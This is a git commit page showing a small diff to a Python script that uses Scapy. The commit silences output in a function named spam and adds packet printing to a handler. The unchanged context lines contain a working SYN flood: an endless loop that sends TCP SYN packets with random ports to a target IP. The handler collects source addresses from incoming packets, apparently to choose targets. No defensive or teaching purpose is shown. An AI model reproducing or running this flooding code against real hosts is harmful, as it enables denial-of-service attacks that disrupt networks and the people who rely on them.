Update spam function to suppress verbose output and add packet printing in handler
This commit is contained in:
parent
9a40088ad9
commit
e7a2972f32
1 changed files with 2 additions and 1 deletions
|
@ -15,7 +15,7 @@ addresses = {}
|
||||||
def spam(ip):
|
def spam(ip):
|
||||||
while True:
|
while True:
|
||||||
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
|
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
|
||||||
send(packet, verbose = True)
|
send(packet, verbose = False)
|
||||||
|
|
||||||
def empty_addresses():
|
def empty_addresses():
|
||||||
while True:
|
while True:
|
||||||
|
@ -23,6 +23,7 @@ def empty_addresses():
|
||||||
addresses.clear()
|
addresses.clear()
|
||||||
|
|
||||||
def handler(pkt):
|
def handler(pkt):
|
||||||
|
print(pkt)
|
||||||
address = pkt[IP].src
|
address = pkt[IP].src
|
||||||
if address == MY_IP: return
|
if address == MY_IP: return
|
||||||
if address in addresses.keys():
|
if address in addresses.keys():
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue